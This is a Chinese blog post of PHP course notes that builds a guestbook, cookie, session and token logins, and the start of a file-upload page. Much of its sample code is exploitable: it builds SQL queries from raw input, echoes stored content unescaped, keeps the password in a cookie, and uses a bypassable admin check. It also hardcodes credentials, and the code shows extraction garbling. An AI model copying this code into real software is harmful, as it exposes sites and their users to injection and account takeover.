PHP 参考文档:025-安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全_php 文件管理-CSDN博客
第一天 PHP应用&留言板功能&超全局变量 &数据库操作&第三方
插件引用
环境配置 安装PHPStrom PhpStorm: The PHP IDE by JetBrains
配置PHPStudy 安装Mysql管理工具:https://www.navicat.com.cn/download/navicat-premium
1、开启phpstudy的中间件和数据库服务,修改php的版本为7.0.9
2、使用Navicat创建所需要的表名和字段
3、使用PHPStorm项目创建php项目
注意:
新建项目位置:G:\develop\safety\phpstudy_pro\WWW\demo1
解释器使用phpstudy目录下的phpstudy_pro\Extensions\php\php7.0.9nts\php.exe
数据库操作-增删改查 PHP函数:连接,选择,执行,结果,关闭等
PHP相关函数
mysqli_connect() 打开一个到MySQL的新的连接。 mysqli_select_db() 更改连接的默认数据库。 mysqli_query() 执行某个针对数据库的查询。 mysqli_fetch_row() 从结果集中取得一行,并作为枚举数组返回。 mysqli_close() 关闭先前打开的数据库连接。
SQL相关语句
查:select * from 表名 where 列名=‘条件’; 增:insert into 表名(列名1, 列名2) value(‘列1值1’, ‘列2值2’); 删:delete from 表名 where 列名 = ‘条件’; 改:update 表名 set 列名 = 数据 where 列名 = ‘条件’;
PHP留言板前后端功能实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <!-- HTML 表单 --> <form id="form1" name="form1" method="post" action="" > <p> <!-- 用户名输入框 --> 用户名:<input type="text" name="username" > </p> <p> 内容: </p> <p> <!-- 文本框 --> <textarea name="content" ></textarea> </p> <!-- 提交按钮 --> <input type="submit" name="submit" id="submit" value="提交" > </form> <?php $dbip = 'localhost' ;$dbuser = 'root' ;$dbpass = 'root' ;$dbname = 'test' ;$con = mysqli_connect ($dbip , $dbuser , $dbpass , $dbname );if (!$con ) { die ("连接错误:" . mysqli_connect_errno ()); } else { $u = @$_POST ['username' ]; if (!empty ($u )) { $c = @$_POST ['content' ]; $i = @$_SERVER ['REMOTE_ADDR' ]; $ua = @$_SERVER ['HTTP_USER_AGENT' ]; $sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u ', '$c ', '$i ', '$ua ');" ; if (mysqli_query ($con , $sql )) { echo "<script>alert('留言成功!')</script>" ; $sql1 = "SELECT * FROM gbook" ; $data = mysqli_query ($con , $sql1 ); while ($row = mysqli_fetch_row ($data )) { echo '<hr>' ; echo '用户名:' . $row [0 ] . '<br>' ; echo '内容:' . $row [1 ] . '<br>' ; echo 'IP地址:' . $row [2 ] . '<br>' ; echo 'UA浏览器:' . $row [3 ] . '<br>' ; } } else { echo "<script>alert('留言失败!')</script>" ; } } else { echo "<script>alert('用户名不能为空!')</script>" ; } } ?>
HTML表单部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <form id ="form1" name ="form1" method ="post" action ="" > <p > 用户名:<input type ="text" name ="username" > </p > <p > 内容: </p > <p > <textarea name ="content" > </textarea > </p > <input type ="submit" name ="submit" id ="submit" value ="提交" > </form >
解释:
创建form表单:
<form id="form1" name="form1" method="post" action=""> </form>
id:为标签名,进行标识(唯一)
name: 表单名称
method:表单提交的方法使用POST方式
action:action=""
通常是在 HTML 表单中的 <form>
元素中设置 action
属性来指定表单提交的目标 URL。如果 action
属性为空字符串 (action=""
),则表单数据将被提交到当前页面的 URL 。
段落标签:<p></p>
用户名输入框:
<input type="text" name="username">
type:类型
name:输入框名称
文本框:
<textarea name="content"></textarea>
提交按钮:
<input type="submit" name="submit" id="submit" value="提交">
PHP部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php $dbip = 'localhost' ;$dbuser = 'root' ;$dbpass = 'root' ;$dbname = 'test' ;$con = mysqli_connect ($dbip , $dbuser , $dbpass , $dbname );if (!$con ) { die ("连接错误:" . mysqli_connect_errno ()); } else { $u = @$_POST ['username' ]; if (!empty ($u )) { $c = @$_POST ['content' ]; $i = @$_SERVER ['REMOTE_ADDR' ]; $ua = @$_SERVER ['HTTP_USER_AGENT' ]; $sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u ', '$c ', '$i ', '$ua ');" ; if (mysqli_query ($con , $sql )) { echo "<script>alert('留言成功!')</script>" ; $sql1 = "SELECT * FROM gbook" ; $data = mysqli_query ($con , $sql1 ); while ($row = mysqli_fetch_row ($data )) { echo '<hr>' ; echo '用户名:' . $row [0 ] . '<br>' ; echo '内容:' . $row [1 ] . '<br>' ; echo 'IP地址:' . $row [2 ] . '<br>' ; echo 'UA浏览器:' . $row [3 ] . '<br>' ; } } else { echo "<script>alert('留言失败!')</script>" ; } } else { echo "<script>alert('用户名不能为空!')</script>" ; } } ?>
解释
$dbip = ‘localhost’; $dbuser = ‘root’; $dbpass = ‘root’; $dbname = ‘test’;
数据库连接所需要的参数:主机名、用户名、用户密码、所使用的数据库
$con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname);
host
可选。规定主机名或 IP 地址。
username
可选。规定 MySQL 用户名。
password
可选。规定 MySQL 密码。
dbname
可选。规定默认使用的数据库。
port
可选。规定尝试连接到 MySQL 服务器的端口号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 if (!$con ) { die ("连接错误:" . mysqli_connect_errno ()); } else { $u = @$_POST ['username' ]; if (!empty ($u )) { $c = @$_POST ['content' ]; $i = @$_SERVER ['REMOTE_ADDR' ]; $ua = @$_SERVER ['HTTP_USER_AGENT' ]; $sql = "INSERT INTO gbook(`username`, `content`, `ipaddr`, `uagent`) VALUES ('$u ', '$c ', '$i ', '$ua ');" ; if (mysqli_query ($con , $sql )) { echo "<script>alert('留言成功!')</script>" ; $sql1 = "SELECT * FROM gbook" ; $data = mysqli_query ($con , $sql1 ); while ($row = mysqli_fetch_row ($data )) { echo '<hr>' ; echo '用户名:' . $row [0 ] . '<br>' ; echo '内容:' . $row [1 ] . '<br>' ; echo 'IP地址:' . $row [2 ] . '<br>' ; echo 'UA浏览器:' . $row [3 ] . '<br>' ; } } else { echo "<script>alert('留言失败!')</script>" ; } } else { echo "<script>alert('用户名不能为空!')</script>" ; } }
mysqli_connect_errno():显示数据库连接时的报错信息
$u = @$_POST[‘username’] :获取POST请求方法中的username值
$c = @$_POST[‘content’]:获取POST请求方法中的content值
$i = @$_SERVER[‘HTTP_USER_AGENT’]:获取客户端用户代理信息
注意:使用 @
符号可以抑制错误报告。在给变量赋值的同时使用 @
符号时,如果发生错误(比如未定义的变量),PHP 将不会生成错误消息,而是返回 NULL
或者一个空值。
mysqli_query($con, $sql1): 执行数据库查询
全局变量和函数调用 问题发现:当我们在不同php文件执行sql语句时,sql相关配置信息需要反复重写
方法解决:将经常用到的数据库链接操作生成config.php文件,方便管理
1、创建config.php文件
1 2 3 4 5 6 7 <?php $dbip = 'localhost'; $dbuser = 'root'; $dbpass = 'root'; $dbname = 'test'; $con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname); ?>
2、修改gbook.php文件
1 include('./config.php');
2、创建admin文件夹添加删除功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include '../config.php' ;$sql1 ="select * from gbook" ;$data =mysqli_query ($con ,$sql1 );while ($row =mysqli_fetch_row ($data )){ echo '<hr>' ; echo '用户名:' .$row [0 ].'<br>' ; echo '内容:' .$row [1 ].'<br>' ; echo 'IP地址:' .$row [2 ].'<br>' ; echo 'UA浏览器:' .$row [3 ].'<br>' ; ** echo "<a href='gbook-admin.php?del=$row [0]'>删除</a>" ;** } $delstr =@$_GET ['del' ];** $sql2 ="delete from gbook where username ='$delstr ';" ;if (mysqli_query ($con ,$sql2 )){ echo "<script>alert('删除成功 !')</script>" ;** }
问题发现:当我们没有传入删除的用户名时,也会进行弹窗
原因分析:没有对del参数是否有值进行判断
解决方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $delstr = @$_GET ['del' ];** if (isset ($delstr )) {** $sql2 = "DELETE FROM gbook WHERE username ='$delstr ';" ; if (mysqli_query ($con , $sql2 )) { echo "<script>alert('删除成功!')</script>" ; } }
问题发现:是否每次创建php文件方法都需要再写一遍呢?
解决方法:使用方法进行包装
1、代码优化
gbook.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 include 'config.php' ;function add_gbook ($con ) { $u =@$_POST ['username' ]; if (!empty ($u )) { $c = @$_POST ['content' ]; $i = @$_SERVER ['REMOTE_ADDR' ]; $ua = @$_SERVER ['HTTP_USER_AGENT' ]; $sql = "insert into gbook(`username`, `content`,`ipaddr`,`uagent`) value('$u ', '$c ','$i ','$ua ');" ; if (mysqli_query ($con , $sql )) { echo "<script>alert('留言成功!')</script>" ; } } } function show_gbook ($con ) { $sql1 ="select * from gbook" ; $data =mysqli_query ($con ,$sql1 ); while ($row =mysqli_fetch_row ($data )) { echo '<hr>' ; echo '用户名:' . $row [0 ] . '<br>' ; echo '内容:' . $row [1 ] . '<br>' ; echo 'IP地址:' . $row [2 ] . '<br>' ; echo 'UA浏览器:' . $row [3 ] . '<br>' ; } } add_gbook ($con );show_gbook ($con );
gbook-admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php include '../config.php' ;include '../gbook.php' ;show_gbook ($con ,'del' );$delstr =@$_GET ['del' ];if (isset ($delstr )){ $sql2 ="delete from gbook where username ='$delstr ';" ; if (mysqli_query ($con ,$sql2 )){ echo "<script>alert('删除成功 !')</script>" ; } }
添加第三方插件实现上传 引用ueditor并创建对应文件夹,导入成功后,然后改变html代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <script src ="./ueditor/ueditor.config.js" > </script > <script src ="./ueditor/ueditor.all.js" > </script > **<form id ="form1" name ="form1" method ="post" action ="" <p > 用户名:<input type ="text" name ="username" > </p > <p > 内容: </p > <p > **<textarea id ="content" rows ="10" cols ="70" name ="content" style ="border:1px solid #E5E5E5;" > </textarea > <script type ="text/javascript" > UE .getEditor ("content" ); </script > </p > <input type ="submit" name ="submit" id ="submit" value ="提交" > </form >
源码 gbook.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <script src="./ueditor/ueditor.config.js">/*引入配置文件*/</script> <script src="./ueditor/ueditor.all.js">/*引入源码文件*/</script> <form id="form1" name="form1" method="post" action="" <p> 用户名:<input type="text" name="username"> </p> <p> 内容: </p> <p> <textarea id="content" rows="10" cols="70" name="content" style="border:1px solid #E5E5E5;"> </textarea> <script type="text/javascript"> UE.getEditor("content"); //实例化编辑器传参,id为将要被替换的容器。 </script> </p> <input type="submit" name="submit" id="submit" value="提交"> </form> <?php /*// 使用 mysqli_connect() 函数建立与数据库的连接 // $dbip: 数据库服务器的 IP 地址或主机名 // $dbuser: 数据库用户名 // $dbpass: 数据库用户的密码 // $dbname: 要连接的数据库名*/ /*$dbip='localhost'; $ dbuser='root' ; $ dbpass='root' ; $ dbname='dome01' ; $ con=mysqli_connect($dbip ,$dbuser ,$dbpass ,$dbname );*/ include 'config.php'; //添加留言 function add_gbook($con){ $u=@$_POST['username']; if (!empty($u)) { $c = @$_POST['content']; $i = @$_SERVER['REMOTE_ADDR']; /*获取客户端 IP 地址*/ $ua = @$_SERVER['HTTP_USER_AGENT'];/*获取客户端用户代理信息*/ // 数据库查询语句,将数据插入到名为 gbook 的表中 $sql = "insert into gbook(`username`, `content`,`ipaddr`,`uagent`) value('$u', '$c','$i','$ua');"; if (mysqli_query($con, $sql)) { echo "<script>alert('留言成功!')</script>"; } } } //显示留言 function show_gbook($con,$del) { $sql1="select * from gbook"; $data=mysqli_query($con,$sql1); while ($row=mysqli_fetch_row($data)) { echo '<hr>'; echo '用户名:' . $row[0] . '<br>'; echo '内容:' . $row[1] . '<br>'; echo 'IP地址:' . $row[2] . '<br>'; echo 'UA浏览器:' . $row[3] . '<br>'; //检查变量 $del 是否等于字符串 'del'。如果条件成立,就会生成一个包含删除链接的 HTML 代码。 //提供删除链接,传递留言用户名作为参数 if ($del=='del'){ echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>"; } } } add_gbook($ con); // 调用显示留言的函数,传递 'x' 参数 show_gbook($ con,'x' );
gbook-admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php // 包含数据库配置文件 include '../config.php'; // 包含处理留言的功能文件 include '../gbook.php'; // 调用显示留言的函数,传递 'del' 参数,以显示删除链接 show_gbook($ con,'del' ); // 获取要删除的留言用户名 $ delstr=@$_GET ['del' ]; // 检查是否设置了要删除的留言用户名 if(isset($ delstr)){ // 构建删除留言的 SQL 查询语句 $sql2="delete from gbook where username ='$delstr';"; // 执行删除操作 if(mysqli_query($con,$sql2)){ echo "<script>alert('删除成功 !')</script>"; } } // 查询所有留言 /*$sql1="select * from gbook"; $ data=mysqli_query($con ,$sql1 ); // 循环遍历每条留言并显示信息和删除链接 while ($row=mysqli_fetch_row($data)){ echo '<hr>'; echo '用户名:'.$row[0].'<br>'; echo '内容:'.$row[1].'<br>'; echo 'IP地址:'.$row[2].'<br>'; echo 'UA浏览器:'.$row[3].'<br>'; // 提供删除链接,传递留言用户名作为参数 echo "<a href='gbook-admin.php?del=$row[0]'>删除</a>"; }*/
config.php
1 2 3 4 5 6 7 8 <?php $dbip = 'localhost'; $dbuser = 'root'; $dbpass = 'root'; $dbname = 'test'; $con = mysqli_connect($dbip, $dbuser, $dbpass, $dbname); ?>
第二天 PHP应用&后台模&Session&Cookie&Token&身份验证 &唯一性
Cookie技术
Cookie产生原理图:
1、客户端向服务器发送HTTP请求。 2、服务器检查请求头中是否包含cookie信息。 3、如果请求头中包含cookie信息,则服务器使用该cookie来识别客户端,否则服务器将生成一个新的cookie。 4、服务器在响应头中设置cookie信息并将其发送回客户端。 5、客户端接收响应并将cookie保存在本地。 6、当客户端发送下一次HTTP请求时,它会将cookie信息附加到请求头中。 7、服务器收到请求并检查cookie的有效性。 8、如果cookie有效,则服务器响应请求。否则,服务器可能会要求客户端重新登录。
建立cookie:setcookie()
删除cookie:unset()
创建php文件
admin-c.php登陆文件
index-c.php登录成功的首页文件
logout-c.php登出文件
admin-c.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>后台登录</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; align-items: center; justify-content: center; height: 100vh; } form { background-color: #fff; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); padding: 20px; width: 300px; } label { display: block; margin-bottom: 8px; } input { width: 100%; padding: 8px; margin-bottom: 16px; box-sizing: border-box; } button { background-color: #4caf50; color: #fff; padding: 10px; border: none; border-radius: 4px; cursor: pointer; width: 100%; } button:hover { background-color: #45a049; } </style> </head> <body> <!--//你需要在实际应用中将登录表单的 action //属性指向后台处理登录的脚本(例如 login.php) //由于当前就是登录文件为空即可--> <form action="" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required> <label for="password">密码:</label> <input type="password" id="password" name="password" required> <button type="submit">登录</button> </form> </body> </html> <?php include "../config.php"; //登陆文件 /* * 1.接收输入账号密码 * 2.判断账号密码是否正确 * 3.正确后生成cookie进行保存 * 4.错误的账户密码进行提示 * 5.跳转至成功页面 */ //1.接收输入账号密码 $ user=$_POST ['username' ]; $ pass=$_POST ['password' ]; //2.进行判断账号密码是否正确 // 构建 SQL 查询语句,用于判断账号密码是否正确 $ sql = "SELECT * FROM admin WHERE username='$user ' AND password='$pass ';" ; //echo $sql; // 执行 SQL 查询 $ data = mysqli_query($con , $sql ); // 判断请求是否为 POST if ($_SERVER["REQUEST_METHOD"] == "POST") { // 检查查询结果行数是否大于 0 if (mysqli_num_rows($data) > 0) { $expire = time() + 60 * 60 * 24 * 30; // 设置 Cookie 过期时间为一个月后 setcookie('username', $user, $expire, '/'); // 设置用户名 Cookie setcookie('password', $pass, $expire, '/'); // 设置密码 Cookie // 重定向到 index-c.php 页面 header('Location: index-c.php'); exit(); // 终止脚本执行 } else { echo "<script>alert('登录失败!')</script>"; // 输出登录失败的提示 } }
index-c.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php //登录成功的首页文件 if ($_COOKIE['username']!='admin' and $_COOKIE['password']!='123456') // 重定向到 index-c.php 页面 header('Location: index-c.php'); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>后台首页</title> </head> <body> <h1>后台首页</h1> <p>欢迎您,<?php echo $_COOKIE['username']; ?>!</p> <p><a href="logout-c.php">退出登录</a></p> </body> </html>
logout-c.php
1 2 3 4 5 6 7 8 <?php setcookie('username', '', time() - 3600, '/'); setcookie('password', '', time() - 3600, '/'); // 跳转到登录页面 header('Location: admin-c.php'); exit; ?>
cookie安全性
信息泄露:如果Cookie中包含敏感信息(如用户ID、密码等),攻击者可以通过窃取Cookie来获取这些敏感数据。为了防止信息泄露,应确保敏感信息在传输和存储过程中进行加密,并使用安 全的传输协议(如HTTPS)来保护Cookie的传输过程。
跨站点脚本攻击(XSS):攻击者可以通过在Web应用程序中注入恶意脚本来获取用户的Cookie。为了防止XSS攻击,开发人员应对用户输入进行正确的验证和过滤,并对输出进行适当的转义,以防止恶意脚本的注入。
跨站点请求伪造(CSRF):攻击者可以通过欺骗用户访问恶意网站来利用用户的身份进行非法操作。为了防止CSRF攻击,可以使用随机生成的令牌(CSRF令牌)来验证每个请求的合法性,并确保令牌在每个请求中都是唯一且难以预测的。
会话劫持:攻击者可以通过窃取用户的会话Cookie来冒充用户身份。为了防止会话劫持,可以通过使用安全标志(如”Secure”和”HttpOnly”)来限制Cookie的使用范围,并在会话身份验证上使用额外的保护措施,如双因素身份验证。
不安全的存储:如果Cookie存储在用户计算机上的不安全位置,如明文存储或不加密的存储,攻击者可以轻易地访问和修改Cookie。为了保护Cookie的存储,应将Cookie存储在安全的位置,如服务器端的数据库或加密的本地存储。
Session技术 Session产生原理
1、客户端向服务器发送HTTP请求。 2、服务器为客户端生成一个唯一的session ID,并将其存储在服务器端的存储器中(如文件、数据库等)。 3、服务器将生成的session ID作为一个cookie发送给客户端。 4、客户端将session ID保存为一个cookie,通常是在本地浏览器中存储。 5、当客户端在发送下一次HTTP请求时,它会将该cookie信息附加到请求头中,以便服务器可以通过该session ID来识别客户端。 6、服务器使用session ID来检索存储在服务器端存储器中的与该客户端相关的session数据,从而在客户端和服务器之间共享数据
session_start(): 启动会话,用于开始或恢复一个已经存在的会话。 $_SESSION: 用于存储和访问当前会话中的所有变量。 session_destroy(): 销毁当前会话中的所有数据。 session_unset(): 释放当前会话中的所有变量。 Session存储路径:PHP.INI中session.save_path设置路径:
创建php文件 admin-s.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>后台登录</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; align-items: center; justify-content: center; height: 100vh; } form { background-color: #fff; border-radius: 8px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); padding: 20px; width: 300px; } label { display: block; margin-bottom: 8px; } input { width: 100%; padding: 8px; margin-bottom: 16px; box-sizing: border-box; } button { background-color: #4caf50; color: #fff; padding: 10px; border: none; border-radius: 4px; cursor: pointer; width: 100%; } button:hover { background-color: #45a049; } </style> </head> <body> <!--//你需要在实际应用中将登录表单的 action //属性指向后台处理登录的脚本(例如 login.php) //由于当前就是登录文件为空即可--> <form action="" method="post"> <label for="username">用户名:</label> <input type="text" id="username" name="username" required> <label for="password">密码:</label> <input type="password" id="password" name="password" required> <button type="submit">登录</button> </form> </body> </html> <?php include "../config.php"; //登陆文件,使用session验证 /* * 1.接收输入账号密码 * 2.判断账号密码是否正确 * 3.正确后生成cookie进行保存 * 4.错误的账户密码进行提示 * 5.跳转至成功页面 */ //1.接收输入账号密码 $ user=$_POST ['username' ]; $ pass=$_POST ['password' ]; //2.进行判断账号密码是否正确 // 构建 SQL 查询语句,用于判断账号密码是否正确 $ sql = "SELECT * FROM admin WHERE username='$user ' AND password='$pass ';" ; //echo $sql; // 执行 SQL 查询 $ data = mysqli_query($con , $sql ); // 判断请求是否为 POST if ($_SERVER["REQUEST_METHOD"] == "POST") { // 检查查询结果行数是否大于 0 if (mysqli_num_rows($data) > 0) { session_start(); $_SESSION['username']=$user; $_SESSION['password']=$pass; // 重定向到 index-c.php 页面 header('Location: index-s.php'); exit(); // 终止脚本执行 } else { echo "<script>alert('登录失败!')</script>"; // 输出登录失败的提示 } }
index-s.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 //登入界面文件,使用session验证 <?php //登录成功首页文件-采用session验证 //判断省去了数据库查询获取帐号密码的操作 直接赋值 session_start(); if($ _SESSION['username' ]!='admin' && $_SESSION ['password' ]!='123456' ){ header('Location: admin-s.php'); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>后台首页</title> </head> <body> <h1>后台首页</h1> <p>欢迎您,<?php echo $_SESSION['username']; ?>!</p> <p><a href="logout-s.php">退出登录</a></p> </body> </html>
logout-s.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php //登出文件,使用session验证 // 开始会话 session_start(); // 清除 SESSION 变量,并销毁会话 session_unset(); session_destroy(); // 重定向到登录页面 header('Location: admin-s.php'); exit; ?>
在登录界面进行测试时,会发现\phpstudy_pro\Extensions\tmp\tmp产生文件(登录成功后)
username|s:5:”admin”;password|s:6:”123456”;
查看网站cookie信息
会话劫持:会话劫持是指攻击者通过窃取合法用户的会话标识符(如会话ID或令牌)来冒充用户身份。为了防止会话劫持,应采取以下措施: 使用随机生成的、复杂的会话标识符,使其难以猜测。 在会话标识符上实施安全标志,如”Secure”和”HttpOnly”,以限制Cookie的使用范围。 在用户身份验证过程中使用额外的保护措施,如双因素身份验证。
会话固定攻击:会话固定攻击是指攻击者通过将自己的会话标识符强制应用于目标用户的会话来控制目标用户的会话。为了防止会话固定攻击,应采取以下措施: 在用户认证之前生成新的会话标识符,而不是在认证后重新使用现有的会话标识符。 在用户身份验证之前销毁旧会话,以确保新会话的安全性。
跨站点脚本攻击(XSS):XSS攻击可以窃取用户会话数据或以其他方式干扰会话。为了防止XSS攻击,应采取以下措施: 对用户输入进行正确的验证和过滤,以防止恶意脚本的注入。 对输出进行适当的转义,以防止恶意脚本在浏览器中执行。
跨站点请求伪造(CSRF):CSRF攻击可以利用用户的身份执行未经授权的操作。为了防止CSRF攻击,应采取以下措施: 使用随机生成的、唯一的CSRF令牌来验证每个请求的合法性。 将CSRF令牌嵌入到表单中,并在每个请求中验证令牌的有效性。
会话超时和注销:应设定适当的会话超时时间,以确保长时间不活动的会话被及时注销。同时,提供明确的注销功能,使用户可以主动终止会话。
Token技术 1、生成Token并将其存储在Session 2、生成Token并将其绑定在Cookie触发 3、尝试登录表单中带入Token验证逻辑 4、思考Token安全特性
创建php文件 token.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php // 生成Token并将其存储在Session中 session_start(); //1.因为是用的session维持会话,token已经绑定到下面的表单了 //2.token,生成之后直接存到session里,主要是方便重置token, //每次token随表单提交后都需要重置以保持token的唯一性。 $ _SESSION['token' ] = bin2hex(random_bytes(16)); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>后台登录</title> <style> body { background-color: #f1f1f1; } .login { width: 400px; margin: 100px auto; background-color: #fff; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.3); padding: 30px; } .login h2 { text-align: center; font-size: 2em; margin-bottom: 30px; } .login label { display: block; margin-bottom: 20px; font-size: 1.2em; } .login input[type="text"], .login input[type="password"] { width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; font-size: 1.2em; margin-bottom: 20px; } .login input[type="submit"] { background-color: #2ecc71; color: #fff; border: none; padding: 10px 20px; border-radius: 5px; font-size: 1.2em; cursor: pointer; } .login input[type="submit"]:hover { background-color: #27ae60; } </style> </head> <body> <div class="login"> <h2>后台登录</h2> <!-- 提交表单到 "token_check.php",使用 POST 方法 --> <form action="token_check.php" method="post"> <!-- 隐藏域用于存储 CSRF token --> <input type="hidden" name="token" value="<?php echo $_SESSION['token'] ; ?>"> <label for="username">用户名:</label> <input type="text" name="username" id="username" required> <label for="password">密码:</label> <input type="password" name="password" id="password" required> <input type="submit" value="登录"> </form> </div> </body> </html>
token_check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start(); // 从 POST 请求中获取 token,如果不存在则设为空字符串 $ token = $_POST ['token' ] ?? '' ; if ($token !== $_SESSION['token']) { // token不匹配,禁止访问 header('HTTP/1.1 403 Forbidden'); // 生成新的 token $_SESSION['token'] = bin2hex(random_bytes(16)); // 输出访问被拒绝的信息 echo 'Access denied'; // 终止脚本执行 exit; }else{ // 生成新的 token $_SESSION['token'] = bin2hex(random_bytes(16)); // 检查用户名和密码是否匹配 if($_POST['username']=='admin' && $_POST['password']=='123456'){ echo '登录成功!'; // 输出管理员访问信息 echo '你是管理员可以访问文件管理页面!'; }else{ echo '登录失败!'; } } ?>
知识总结:
token是防御csrf的有效方式,但是在小迪安全课程中,介绍到也是防止暴力破解的措施,这一点可能有所欠妥,使用burp中的inruder模块的”定义提取grep项目”功能既可以实现抓取token,从而实现暴力破解
用户身份验证 Token 最常见的用途是进行用户身份验证。例如,当用户登录时,服务器通过验证用户名和密码,生成一个 Token,返回给客户端。在之后的请求中,客户端将该 Token 附加到请求中,服务器通过验证 Token 确认用户身份,并授权访问相关资源。
授权控制 Token 不仅包含身份信息,还可以包含关于用户角色、权限等信息。因此,服务器可以根据 Token 中的数据来判断用户是否有权访问某些资源。例如,后台管理系统可能基于 Token 中的角色信息来决定用户是否有权限访问管理页面或执行管理操作。
防止跨站请求伪造(CSRF) 传统的基于 Cookie 的身份认证机制容易受到 CSRF(跨站请求伪造)攻击,因为攻击者可以诱导用户访问恶意网站,从而利用用户的身份信息发起请求。而 Token 认证通过将身份信息存储在客户端,并通过 HTTP 请求头传递(而非通过 Cookie),从而有效防止了 CSRF 攻击。
跨域认证 在现代的前后端分离架构中,前端和后端通常分布在不同的域名下。Token 认证非常适合跨域认证,因为 Token 是通过 HTTP 请求头传递的,不受浏览器的跨域限制。因此,Token 机制可以方便地用于跨域认证。
第三天 PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制
PHP文件管理-显示&上传功能实现 文件上传的过滤机制
1、无过滤机制 2、黑名单过滤机制 3、白名单过滤机制 4、文件类型过滤机制
PHP中接收文件信息方法
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。 $_FILES[“表单值”][“name”] 获取上传文件原始名称 $_FILES[“表单值”][“type”] 获取上传文件MIME类型 $_FILES[“表单值”][“size”] 获取上传文件字节单位大小 $_FILES[“表单值”][“tmp_name”] 获取上传的临时副本文件名 $_FILES[“表单值”][“error”] 获取上传时发生的错误代码 move_uploaded_file() 将上传的文件移动到指定位置的函数
文件上传功能实现 创建upload.php和upload.html
upload.html
1 2 3 4 5 6 7 8 9 10 11 12 <form action ="upload.php" method ="POST" enctype ="multipart/form-data" > <label for ="file" > 选择文件:</label > <br > <input type ="file" id ="file" name ="f" > <br > <button type ="submit" > 上传文件</button > </form >
注意:**enctype="multipart/form-data"
** 告诉服务器,表单中包含了文件上传的数据,并且服务器需要以二进制格式 解析这些数据。这样可以确保文件等二进制数据能够正确地传输到服务器 。
upload.php
